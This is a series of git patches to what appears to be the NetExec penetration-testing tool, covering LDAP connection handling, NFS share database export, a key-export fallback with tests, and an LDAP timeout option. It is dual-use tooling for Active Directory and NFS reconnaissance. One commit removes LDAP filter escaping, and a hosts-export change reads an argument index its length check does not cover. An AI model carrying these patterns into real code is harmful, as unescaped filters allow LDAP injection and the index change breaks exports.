connection) + ldap_connection = self.initialize_ldap_connection(connection) - context.log.success(f"Privileges extracted from {path}:") + self.context.log.success(f"Privileges extracted from {path}:") for privilege, sids in privileges.items(): - resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids] - context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}") + resolved_sids = [self.resolve_sid(sid, ldap_connection) for sid in sids] + self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}") if ldap_connection: ldap_connection.close() @@ -160,79 +160,47 @@ def extract_privileges(self, content): return privileges - def initialize_ldap_connection(self, context, connection): + def initialize_ldap_connection(self, connection): """ Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails. Attempts to retrieve the base DN from the Root DSE or derive it from the domain name. """ ldap_connection = None - for proto in ("ldaps", "ldap"): - try: - ldap_connection = ldap_impacket.LDAPConnection(url=f"{proto}://{connection.remoteName}", dstIp=connection.host) - if connection.kerberos: - ldap_connection.kerberosLogin( - connection.username, - connection.password or "", - connection.domain, - connection.lmhash, - connection.nthash, - connection.aesKey or "", - kdcHost=connection.kdcHost, - useCache=bool(connection.use_kcache), - ) - else: - ldap_connection.login( - user=connection.username, - password=connection.password or "", - domain=connection.domain, - lmhash=connection.lmhash, - nthash=connection.nthash, - ) - context.log.success(f"Connected to LDAP ({proto}).") - break - except Exception as e: - context.log.warning(f"{proto.upper()} connection failed: {e}") - ldap_connection = None - - if not ldap_connection: - context.log.error("Failed to connect to LDAP.") - return None - - ldap_connection._baseDN = self.get_base_dn(context, ldap_connection, connection.domain) - return ldap_connection - - def get_base_dn(self, context, ldap_connection, domain): - """Retrieves the base DN from the Root DSE, falling back to deriving it from the domain name.""" try: - resp = ldap_connection.search( - searchBase="", - scope=ldapasn1_impacket.Scope("baseObject"), - searchFilter="(objectClass=*)", - attributes=["defaultNamingContext"], - ) - base_dn = parse_result_attributes(resp)[0]["defaultNamingContext"] - if base_dn: - return base_dn + ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host) + if connection.kerberos: + ldap_connection.kerberosLogin( + connection.username, + connection.password or "", + connection.domain, + connection.lmhash, + connection.nthash, + connection.aesKey or "", + kdcHost=connection.kdcHost, + useCache=bool(connection.use_kcache), + ) + else: + ldap_connection.login( + user=connection.username, + password=connection.password or "", + domain=connection.domain, + lmhash=connection.lmhash, + nthash=connection.nthash, + ) + self.context.log.success("Connected to LDAP.") except Exception as e: - context.log.warning(f"Failed to query Root DSE for defaultNamingContext: {e}") - - base_dn = ",".join([f"dc={part}" for part in domain.split(".")]) - context.log.info(f"Derived base DN: {base_dn}") - return base_dn + self.context.log.fail(f"LDAP connection failed: {e}") + return None + return ldap_connection - def resolve_sid(self, context, sid, ldap_connection): + def resolve_sid(self, sid, ldap_connection): """Resolves a SID to a human-readable name using well-known mappings or LDAP queries.""" if sid in self.WELL_KNOWN_SIDS: return self.WELL_KNOWN_SIDS[sid] if ldap_connection: try: - if not ldap_connection._baseDN: - context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.") - return sid - resp = ldap_connection.search( - searchBase=ldap_connection._baseDN, searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"], ) @@ -241,11 +209,15 @@ def resolve_sid(self, context, sid, ldap_connection): if parsed_result and "sAMAccountName" in parsed_result[0]: return f"{parsed_result[0]['sAMAccountName']}" else: - context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.") + self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.") + except ldap_impacket.LDAPSearchError: + self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.") + except ldap_impacket.LDAPFilterSyntaxError: + self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.") except Exception as e: - context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}") + self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}") else: - context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}") + self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}") return sid From 14bd63a7f17b6fc8f1f71154e33bf43d42ebabe6 Mon Sep 17 00:00:00 2001 From: termanix Date: Sat, 11 Jul 2026 19:47:29 +0300 Subject: [PATCH 084/397] Add Shares and Export DB for NFS --- nxc/protocols/nfs.py | 1 + nxc/protocols/nfs/database.py | 55 ++++++++++++++++-- nxc/protocols/nfs/db_navigator.py | 95 ++++++++++++++++++++++++++++++- 3 files changed, 146 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 16b1f3122c..4dc7efc97f 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -271,6 +271,7 @@ def shares(self): read_perm, write_perm, exec_perm = self.get_permissions(file_handle) self.mount.umnt(self.auth) + self.db.add_share(self.host, (read_perm, write_perm, exec_perm), (convert_size(used_space), "/", convert_size(total_space)), share, network) self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}") except Exception as e: self.logger.fail(f"Failed to list share: {share} - {e}") diff --git a/nxc/protocols/nfs/database.py b/nxc/protocols/nfs/database.py index fa58a74b13..e68d58773b 100644 --- a/nxc/protocols/nfs/database.py +++ b/nxc/protocols/nfs/database.py @@ -1,4 +1,4 @@ -from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, select +from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.orm import declarative_base @@ -56,12 +56,17 @@ class LoggedInRelation(Base): class Share(Base): __tablename__ = "shares" id = Column(Integer) - lir_id = Column(Integer) - data = Column(String) + host = Column(String) + read_perm = Column(Boolean) + write_perm = Column(Boolean) + exec_perm = Column(Boolean) + storage = Column(String) + share = Column(String) + access = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), - ForeignKeyConstraint(["lir_id"], ["loggedin_relations.id"]), + UniqueConstraint("host", "share"), ) @staticmethod @@ -132,3 +137,45 @@ def add_host(self, ip, hostname, port, nfs_version, root_escape): if updated_ids: nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") return updated_ids + + def add_share(self, host, permission, storage, share, access): + """Check if this share is already in the DB, if not add it.""" + read_perm, write_perm, exec_perm = permission + used, _, total = storage + storage_str = f"{used} / {total}" + access_str = ", ".join(access) if access else "" + + new_share = { + "host": host, + "read_perm": read_perm, + "write_perm": write_perm, + "exec_perm": exec_perm, + "storage": storage_str, + "share": share, + "access": access_str, + } + + self.db_execute( + Insert(self.SharesTable).on_conflict_do_nothing(), + new_share, + ) + + def get_shares(self, filter_term=None): + """Return shares from the database, optionally filtered by host or share path.""" + if self.is_share_valid(filter_term): + q = select(self.SharesTable).filter(self.SharesTable.c.id == filter_term) + elif filter_term: + like_term = func.lower(f"%{filter_term}%") + q = select(self.SharesTable).filter( + self.SharesTable.c.host.like(like_term) | self.SharesTable.c.share.like(like_term) + ) + else: + q = select(self.SharesTable) + return self.db_execute(q).all() + + def is_share_valid(self, share_id): + """Check if this share ID is valid.""" + q = select(self.SharesTable).filter(self.SharesTable.c.id == share_id) + results = self.db_execute(q).all() + nxc_logger.debug(f"is_share_valid(shareID={share_id}) => {len(results) > 0}") + return len(results) > 0 diff --git a/nxc/protocols/nfs/db_navigator.py b/nxc/protocols/nfs/db_navigator.py index 6d9df95457..54ea1d3a93 100644 --- a/nxc/protocols/nfs/db_navigator.py +++ b/nxc/protocols/nfs/db_navigator.py @@ -1,4 +1,4 @@ -from nxc.nxcdb import DatabaseNavigator, print_help, print_table +from nxc.nxcdb import DatabaseNavigator, print_help, print_table, write_csv class navigator(DatabaseNavigator): @@ -48,3 +48,96 @@ def display_hosts(self, hosts): data.append([host_id, ip, hostname, port, supported_version, root_escape]) print_table(data, title="Hosts") + + def display_shares(self, shares): + """ + shares: list of rows (tuples) -> expects columns: + (id, host, read_perm, write_perm, exec_perm, storage, share, access) + """ + data = [["ID", "Host", "R", "W", "X", "Storage", "Share", "Access"]] + for row in shares: + ( + sid, host, r, w, x, + storage_str, share_path, access_str + ) = row + data.append([ + sid, host, + "True" if r else "False", + "True" if w else "False", + "True" if x else "False", + storage_str, + share_path, + access_str, + ]) + print_table(data, title="Shares") + + def do_shares(self, line): + filter_term = line.strip() or None + shares = self.db.get_shares(filter_term=filter_term) + + if shares: + self.display_shares(shares) + else: + print("No shares found.") + + def help_shares(self): + help_string = """ + shares [host_filter] + Lists all shares. Optionally filters by host substring. + Columns: + ID, Host, Read (True/False), Write, Execute, Storage ("used / total"), Share path, Access list + """ + print_help(help_string) + + def do_export(self, line): + if not line: + print("[-] not enough arguments") + return + line = line.split() + command = line[0].lower() + + if command == "shares": + if len(line) < 3: + print("[-] invalid arguments, export shares ") + return + + filename = line[2] + mode = line[1].lower() + shares = self.db.get_shares() + + if mode == "simple": + csv_header = ("id", "host", "read", "write", "exec", "storage", "share", "access") + write_csv(filename, csv_header, shares) + print("[+] NFS shares exported") + elif mode == "detailed": + csv_header = ("id", "host", "version", "read", "write", "exec", "storage", "share", "access") + # hosts columns: (id, ip, hostname, port, nfs_version, root_escape) + version_by_ip = {host[1]: host[4] for host in self.db.get_hosts()} + formatted = [] + for row in shares: + entry = ( + row[0], # id + row[1], # host + version_by_ip.get(row[1], ""), # nfs_version + row[2], # read + row[3], # write + row[4], # exec + row[5], # storage + row[6], # share + row[7], # access + ) + formatted.append(entry) + write_csv(filename, csv_header, formatted) + print("[+] NFS shares exported") + else: + print(f"[-] No such export option: {line[1]}") + else: + print(f"[-] Export command '{command}' is not supported for NFS. Supported: shares") + + def help_export(self): + help_string = """ + export shares + simple - exports: id, host, read, write, exec, storage, share, access + detailed - exports: id, host, version, read, write, exec, storage, share, access + """ + print_help(help_string) From d908f8aeebfa8b905f4676c64644f3fc83c385cc Mon Sep 17 00:00:00 2001 From: termanix Date: Sat, 11 Jul 2026 20:30:04 +0300 Subject: [PATCH 085/397] Hosts export works as well --- nxc/protocols/nfs/db_navigator.py | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/nfs/db_navigator.py b/nxc/protocols/nfs/db_navigator.py index 54ea1d3a93..d927cbb3b6 100644 --- a/nxc/protocols/nfs/db_navigator.py +++ b/nxc/protocols/nfs/db_navigator.py @@ -96,7 +96,16 @@ def do_export(self, line): line = line.split() command = line[0].lower() - if command == "shares": + if command == "hosts": + if len(line) < 2: + print("[-] invalid arguments, export hosts ") + return + filename = line[1] + hosts = self.db.get_hosts() + csv_header = ("id", "ip", "hostname", "port", "version", "root_escape") + write_csv(filename, csv_header, hosts) + print("[+] NFS hosts exported") + elif command == "shares": if len(line) < 3: print("[-] invalid arguments, export shares ") return @@ -132,10 +141,12 @@ def do_export(self, line): else: print(f"[-] No such export option: {line[1]}") else: - print(f"[-] Export command '{command}' is not supported for NFS. Supported: shares") + print(f"[-] Export command '{command}' is not supported for NFS. Supported: hosts, shares") def help_export(self): help_string = """ + export hosts + exports: id, ip, hostname, port, version, root_escape export shares simple - exports: id, host, read, write, exec, storage, share, access detailed - exports: id, host, version, read, write, exec, storage, share, access From 55538fe18d5ea5ebbe501b163809d1d133c045e6 Mon Sep 17 00:00:00 2001 From: termanix Date: Sat, 11 Jul 2026 20:31:37 +0300 Subject: [PATCH 086/397] Update pyNFSClient resolved_reference --- poetry.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poetry.lock b/poetry.lock index 7a7b1afd99..91d8083738 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2274,7 +2274,7 @@ develop = false type = "git" url = "https://github.com/Pennyw0rth/NfsClient" reference = "HEAD" -resolved_reference = "9b61e0a6385743923ccffa6a80f8dbbf0714121d" +resolved_reference = "a8fea2c163bf665dc6a8e35bb50e7baf81e2c6ed" [[package]] name = "pyopenssl" From 2a3fb7a1685ea11b5cb6572bc37232848329afcf Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 12 Jul 2026 08:47:45 -0400 Subject: [PATCH 087/397] Remove custom ldap filtering --- nxc/modules/daclread.py | 20 +++----------------- 1 file changed, 3 insertions(+), 17 deletions(-) diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index 390dab734a..32ea0f250b 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -13,20 +13,6 @@ from os.path import isfile -def escape_filter_chars(text, encoding="utf-8"): - """Escape special characters in an LDAP search filter assertion value (RFC 4515).""" - if isinstance(text, (bytes, bytearray)): - try: - text = text.decode(encoding) - except Exception: - return "".join(f"\\{b:02x}" for b in text) - escaped = text.replace("\\", "\\5c") - escaped = escaped.replace("*", "\\2a") - escaped = escaped.replace("(", "\\28") - escaped = escaped.replace(")", "\\29") - return escaped.replace("\x00", "\\00") - - OBJECT_TYPES_GUID = {} OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS) OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) @@ -204,8 +190,8 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): SEARCH_FILTERS = { - "TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})", - "TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})" + "TARGET": lambda target: f"(sAMAccountName={target})", + "TARGET_DN": lambda target: f"(distinguishedName={target})" } @@ -302,7 +288,7 @@ def on_login(self, context, connection): if self.principal_sAMAccountName is not None: try: resp = connection.search( - searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})", + searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})", attributes=["objectSid"], ) resp_parsed = parse_result_attributes(resp)[0] From e4c3c06ff109f24c8c67564b92655e1af3720410 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 12 Jul 2026 09:22:26 -0400 Subject: [PATCH 088/397] Fix output filename when exporting the hosts --- nxc/protocols/nfs/db_navigator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/nfs/db_navigator.py b/nxc/protocols/nfs/db_navigator.py index d927cbb3b6..1d3e214d29 100644 --- a/nxc/protocols/nfs/db_navigator.py +++ b/nxc/protocols/nfs/db_navigator.py @@ -100,7 +100,7 @@ def do_export(self, line): if len(line) < 2: print("[-] invalid arguments, export hosts ") return - filename = line[1] + filename = line[2] hosts = self.db.get_hosts() csv_header = ("id", "ip", "hostname", "port", "version", "root_escape") write_csv(filename, csv_header, hosts) From 5d0a5fa97a88fad0fab5b30c12d5f00b593a7f3b Mon Sep 17 00:00:00 2001 From: Functionhx <2994114386@qq.com> Date: Mon, 13 Jul 2026 02:08:43 +0800 Subject: [PATCH 089/397] fix: add get_keys() to BaseDB to prevent AttributeError on export keys The nxcdb export keys command calls self.db.get_keys() which only existed as a method on the SSH protocol database class. When called from any other protocol (smb, mssql, winrm, etc.), it raised an AttributeError because the base database class had no such method. Add a default get_keys() method to BaseDB that returns an empty list. Protocols that support keys (SSH) already override this method with their own implementation, so SSH behavior is unchanged. Also add argument validation and a success message to the keys export handler in nxcdb.py for consistency with other export commands. Fixes: Pennyw0rth/NetExec#1273 Signed-off-by: Yuchen Fan --- nxc/database.py | 4 ++++ nxc/nxcdb.py | 5 +++++ 2 files changed, 9 insertions(+) diff --git a/nxc/database.py b/nxc/database.py index 5772228813..382c12677c 100644 --- a/nxc/database.py +++ b/nxc/database.py @@ -208,3 +208,7 @@ def db_execute(self, *args): res = self.sess.execute(*args) self.lock.release() return res + + def get_keys(self, key_id=None, cred_id=None): + """Return an empty list by default. Protocols that support keys (e.g. SSH) override this.""" + return [] diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index d75444dd17..e307c3adb4 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -310,10 +310,15 @@ def do_export(self, line): return print("[+] DPAPI secrets exported") elif command == "keys": + if len(line) < 3: + print("[-] invalid arguments, export keys ") + return + keys = self.db.get_keys() if line[1].lower() == "all" else self.db.get_keys(key_id=int(line[1])) writable_keys = [key[2] for key in keys] filename = line[2] write_list(filename, writable_keys) + print("[+] Keys exported") elif command == "wcc": if len(line) < 3: print("[-] invalid arguments, export wcc ") From 251cc8e0a35a48cc3a0f8c8f507e5f871dd82fe2 Mon Sep 17 00:00:00 2001 From: Functionhx <2994114386@qq.com> Date: Mon, 13 Jul 2026 10:23:42 +0800 Subject: [PATCH 090/397] fix: guard keys export against empty results to prevent file truncation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The get_keys() base class returns [] for protocols without key support (e.g. SMB). Without this guard, write_list() opens the target file in 'w' mode, writes nothing, and reports success — silently truncating any existing file. Add an empty-keys check before file open, plus regression tests that cover both the BaseDB fallback and the write_list truncation behavior. Signed-off-by: Yuchen Fan --- nxc/nxcdb.py | 3 +++ tests/test_smb_database.py | 31 +++++++++++++++++++++++++++++++ 2 files changed, 34 insertions(+) diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index e307c3adb4..7ac164f8fb 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -315,6 +315,9 @@ def do_export(self, line): return keys = self.db.get_keys() if line[1].lower() == "all" else self.db.get_keys(key_id=int(line[1])) + if not keys: + print("[-] No keys found in the database for the current protocol") + return writable_keys = [key[2] for key in keys] filename = line[2] write_list(filename, writable_keys) diff --git a/tests/test_smb_database.py b/tests/test_smb_database.py index 9ddd9bb801..ee33746461 100644 --- a/tests/test_smb_database.py +++ b/tests/test_smb_database.py @@ -256,3 +256,34 @@ def test_get_loggedin_relations(): def test_remove_loggedin_relations(): pass + + +def test_get_keys_returns_empty_for_smb(db): + """Protocols without key support (like SMB) must return an empty list. + This also verifies the BaseDB default doesn't raise AttributeError.""" + keys = db.get_keys() + assert keys == [] + assert isinstance(keys, list) + + +def test_get_keys_all_and_by_id_fallback(db): + """Both call variants (all / by id) fall back to empty for unsupported protocols.""" + assert db.get_keys() == [] + assert db.get_keys(key_id=1) == [] + + +def test_write_list_empty_entries(tmp_path): + """write_list with empty entries truncates the file and writes nothing. + This is why the keys export must guard against empty keys — see the + check in DatabaseNavigator.do_export for the 'keys' command.""" + from nxc.nxcdb import write_list + + test_file = tmp_path / "test_export.txt" + # Pre-populate the file with data + test_file.write_text("existing content") + assert test_file.read_text() == "existing content" + + # write_list with empty entries opens in "w" mode and writes nothing + write_list(str(test_file), []) + assert test_file.read_text() == "" + From 7e74daf9dd0958fbfe23dae6fc5366339742c9bf Mon Sep 17 00:00:00 2001 From: Functionhx <2994114386@qq.com> Date: Mon, 13 Jul 2026 11:42:07 +0800 Subject: [PATCH 091/397] test: add do_export end-to-end regression test for keys empty guard Codex R2 found the existing three tests never call DatabaseNavigator.do_export, so removing the empty-key guard would leave all tests passing while restoring false success and file truncation. Add a test that constructs a DatabaseNavigator, calls do_export('keys all '), and asserts the file is unchanged, the failure message appears, and the success message does not. Refs: Pennyw0rth/NetExec#1273 Signed-off-by: Yuchen Fan --- tests/test_smb_database.py | 40 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/tests/test_smb_database.py b/tests/test_smb_database.py index ee33746461..3afc2828a5 100644 --- a/tests/test_smb_database.py +++ b/tests/test_smb_database.py @@ -287,3 +287,43 @@ def test_write_list_empty_entries(tmp_path): write_list(str(test_file), []) assert test_file.read_text() == "" + +def test_do_export_keys_empty_guard(db, tmp_path): + """R2 regression: do_export('keys all ') must NOT truncate the + target file when the protocol returns no keys (e.g., SMB). Removing + the empty-key guard in do_export would leave all other tests passing + while restoring false success and file truncation.""" + import io + + test_file = tmp_path / "keys_export.txt" + test_file.write_text("do not overwrite me") + assert test_file.read_text() == "do not overwrite me" + + # Minimal mock — DatabaseNavigator only needs .config and .workspace + class MockMainMenu: + config = {} + workspace = "test" + + from nxc.nxcdb import DatabaseNavigator + + nav = DatabaseNavigator(MockMainMenu(), db, "smb") + + buf = io.StringIO() + import sys + + old_stdout = sys.stdout + sys.stdout = buf + try: + nav.do_export(f"keys all {test_file}") + finally: + sys.stdout = old_stdout + + output = buf.getvalue() + + # File must remain unchanged — the whole point of the guard + assert test_file.read_text() == "do not overwrite me" + # Failure message must appear + assert "[-] No keys found" in output + # Success message must NOT appear + assert "[+] Keys exported" not in output + From 8a459a364724a0f40261b51eeee20ee00a28ce91 Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 15 Jul 2026 15:32:45 +0200 Subject: [PATCH 092/397] add ldap timeout Add a --ldap-timeout option (default 10s) and pass it through to impacket's LDAPConnection, which now supports a native connection timeout (fortra/impacket#2217). Also deprecate the generic --timeout flag and bump the pinned impacket to the commit that ships the timeout parameter. --- nxc/cli.py | 2 +- nxc/protocols/ldap.py | 24 ++++++++++-------------- nxc/protocols/ldap/proto_args.py | 1 + poetry.lock | 4 ++-- 4 files changed, 14 insertions(+), 17 deletions(-) diff --git a/nxc/cli.py b/nxc/cli.py index 01d4ef4d2a..143352c60c 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -30,7 +30,7 @@ def gen_cli_args(): generic_group = generic_parser.add_argument_group("Generic Options") generic_group.add_argument("--version", action="store_true", help="Display nxc version") generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use") - generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread") + generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)") generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication") output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 674d1cc50d..c61ab56d5a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -108,7 +108,7 @@ def create_conn_obj(self): ldap_url = f"{proto}://{self.host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") - self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host, timeout=self.args.ldap_timeout) if self.ldap_connection: self.logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: @@ -150,7 +150,7 @@ def check_ldap_signing(self): self.signing_required = False ldap_url = f"ldap://{self.target}" try: - ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) + ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout) ldap_connection.login(domain=self.domain) self.logger.debug(f"LDAP signing is not enforced on {self.host}") except ldap_impacket.LDAPSessionError as e: @@ -164,7 +164,7 @@ def check_ldaps_cbt(self): self.cbt_status = "Never" ldap_url = f"ldaps://{self.target}" try: - ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) ldap_connection.channel_binding_value = None ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: @@ -173,7 +173,7 @@ def check_ldaps_cbt(self): self.cbt_status = "Always" # CBT is Required # Login failed (wrong credentials). test if we get an error with an existing, but wrong CBT -> When supported elif str(e).find("data 52e") >= 0: - ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) new_cbv = bytearray(ldap_connection.channel_binding_value) new_cbv[15] = (new_cbv[3] + 1) % 256 ldap_connection.channel_binding_value = bytes(new_cbv) @@ -191,10 +191,6 @@ def check_ldaps_cbt(self): self.cbt_status = "No TLS cert" else: raise - except OSError as e: - # Should catch TimeoutError ([Errno 110]), ConnectionRefusedError, host/network unreachable, etc. - self.logger.debug(f"Connection error while checking LDAPS channel binding on {self.host}: {e!s}") - self.cbt_status = "Unknown" def enum_host_info(self): # Enumerate LDAP info @@ -335,7 +331,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -394,7 +390,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -458,7 +454,7 @@ def plaintext_login(self, domain, username, password): proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple") + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") @@ -487,7 +483,7 @@ def plaintext_login(self, domain, username, password): self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") @@ -554,7 +550,7 @@ def hash_login(self, domain, username, ntlm_hash): proto = "ldaps" if self.port == 636 else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") @@ -580,7 +576,7 @@ def hash_login(self, domain, username, ntlm_hash): self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index aaecc73471..0be11599f0 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -8,6 +8,7 @@ def proto_args(parser, parents): dgroup.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") dgroup.add_argument("--simple-bind", action="store_true", help="Use simple bind authentication (no signing/sealing)") ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port") + ldap_parser.add_argument("--ldap-timeout", type=int, default=10, help="LDAP connection timeout") ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to") egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos") diff --git a/poetry.lock b/poetry.lock index 7a7b1afd99..c892184691 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1124,7 +1124,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.14.0.dev0+20260618.135123.153e8ddb" +version = "0.14.0.dev0+20260715.13927.137441c1" 